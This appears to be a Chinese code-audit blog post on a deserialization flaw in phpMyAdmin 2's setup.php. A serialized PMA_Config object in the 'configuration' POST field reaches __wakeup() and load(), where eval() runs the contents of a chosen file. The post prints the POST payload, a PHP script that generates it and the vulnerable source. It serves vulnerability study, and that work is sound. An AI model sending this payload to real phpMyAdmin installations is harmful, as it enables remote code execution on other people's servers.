【代码审计】phpmyadmin2反序列化导致的远程命令执行

相关阅读

[极客大挑战 2019]PHP-安全小天地
[极客大挑战 2019]PHP-安全小天地
沐寒的头像-安全小天地大咖2022年4月15日 17:09
02698

反序列使用到的相关魔术方法

自动审计或搜索关键字找到文件及代码段
__wakeup() //使用unserialize时触发
__sleep() //使用serialize时触发
__destruct() //对象被销毁时触发
__call() //在对象上下文中调用不可访问的方法时触发
__callStatic() //在静态上下文中调用不可访问的方法时触发
__get() //用于从不可访问的属性读取数据
__set() //用于将数据写入不可访问的属性
__isset() //在不可访问的属性上调用isset()或empty()触发
__unset() //在不可访问的属性上使用unset()时触发
__toString() //把类当作字符串使用时触发
__invoke() //当脚本尝试将对象调用为函数时触发

漏洞复现

安装phpmyadmin2,然后访问地址:

http://127.0.0.1/phpmyadmin2/scripts/setup.php

post数据包:action=x&configuration=O:10:"PMA_Config":1:{s:6:"source";s:8:"e:/1.txt";}

序列化函数:

<?php
class PMA_Config {
    var $source = 'e:/1.txt';
}
$x = new PMA_Config();
echo(serialize($x));
?>
图片[1]-【代码审计】phpmyadmin2反序列化导致的远程命令执行-安全小天地

漏洞审计

首先通过关键词获取到反序列地址:unserialize

定位到文件:scripts\setup.php

if (isset($_POST['action'])) {
    $action = $_POST['action'];
} else {
    $action = '';
}

if (isset($_POST['configuration']) && $action != 'clear' ) {
    // Grab previous configuration, if it should not be cleared
    $configuration = unserialize($_POST['configuration']);
} else {
    // Start with empty configuration
    $configuration = array();
}

在这上面调用了文件:require_once('./libraries/common.lib.php'); 并且有创建一个函数对象$PMA_Config = new PMA_Config();

查看文件,搜索:PMA_Config

if (empty($_SESSION['PMA_Config'])) {
    /**
     * We really need this one!
     */
    if (!function_exists('preg_replace')) {
        header('Location: error.php'
            . '?lang='  . urlencode($available_languages[$lang][2])
            . '&char='  . urlencode($charset)
            . '&dir='   . urlencode($text_dir)
            . '&type='  . urlencode($strError)
            . '&error=' . urlencode(
                strtr(sprintf($strCantLoad, 'pcre'),
                    array('<br />' => '[br]')))
            . '&' . SID
            );
        exit();
    }

    $_SESSION['PMA_Config'] = new PMA_Config('./config.inc.php');

} elseif (version_compare(phpversion(), '5', 'lt')) {
    $_SESSION['PMA_Config']->__wakeup();
}

if (!defined('PMA_MINIMUM_COMMON')) {
    $_SESSION['PMA_Config']->checkPmaAbsoluteUri();
}

可以看到这里调用了__wakeup()魔术方法,该方法在执行unserialize函数时,自动调用

 $_SESSION['PMA_Config']->__wakeup();

此时跟踪PMA_Config定义 文件地址:libraries\Config.class.php

关键代码

class PMA_Config
{

    var $source = '';


function __wakeup()
    {
        if ( $this->source_mtime !== filemtime($this->getSource())
          || $this->error_config_file || $this->error_config_default_file ) {
            $this->settings = array();
            $this->load($this->getSource());
            $this->checkSystem();
        }

        // check for https needs to be done everytime,
        // as https and http uses same session so this info can not be stored
        // in session
        $this->checkIsHttps();

        $this->checkCollationConnection();
    }
function load($source = null)
    {
        $this->loadDefaults();

        if ( null !== $source ) {
            $this->setSource($source);
        }

        if ( ! $this->checkConfigSource() ) {
            return false;
        }

        $cfg = array();

        /**
         * Parses the configuration file
         */
        $old_error_reporting = error_reporting(0);
        if ( function_exists('file_get_contents') ) {
            $eval_result =
                eval( '?>' . file_get_contents($this->getSource()) );
        } else {
            $eval_result =
                eval( '?>' . implode('\n', file($this->getSource())) );
        }
        error_reporting($old_error_reporting);

        if ( $eval_result === false ) {
            $this->error_config_file = true;
        } else  {
            $this->error_config_file = false;
            $this->source_mtime = filemtime($this->getSource());
        }

        /**
         * @TODO check validity of $_COOKIE['pma_collation_connection']
         */
        if ( ! empty( $_COOKIE['pma_collation_connection'] ) ) {
            $this->set('collation_connection',
                strip_tags($_COOKIE['pma_collation_connection']) );
        } else {
            $this->set('collation_connection',
                $this->get('DefaultConnectionCollation') );
        }

        $this->checkCollationConnection();
        //$this->checkPmaAbsoluteUri();
        $this->settings = PMA_array_merge_recursive($this->settings, $cfg);
        return true;
    }

其中getSource()获取的内容就是var $source = '';的内容,然后通过函数file_get_contents获取内容

整个逻辑就是如此

  • 找到__wakeup()代码段,代码段调用函数中存在eval等函数操作,可调式load
  • 构造getSource()利用Payload,实现file_get_contents函数配合eval执行
  • setup.php -> common.lib.php -> Config.class.php -> __wakeup() -> load() -> eval();
  • action=x&configuration=O:10:"PMA_Config":1:{s:6:"source",s:8:"d:/e.txt";}

注意:这里需要提一下,"\"和"/"的区别,在复现的时间,因为这个原因,一直不成功,仔细一看,应该是用"/"

"\":转义

"/":路径拼接

多数情况都是直接使用"/",出来windows下需要使用"\\",这个因为以前windows为了区别dos命令,但是现在两者都可以了

© 版权声明
THE END
喜欢就支持一下吧
点赞7 分享
评论 抢沙发

请登录后发表评论

    请登录后查看评论内容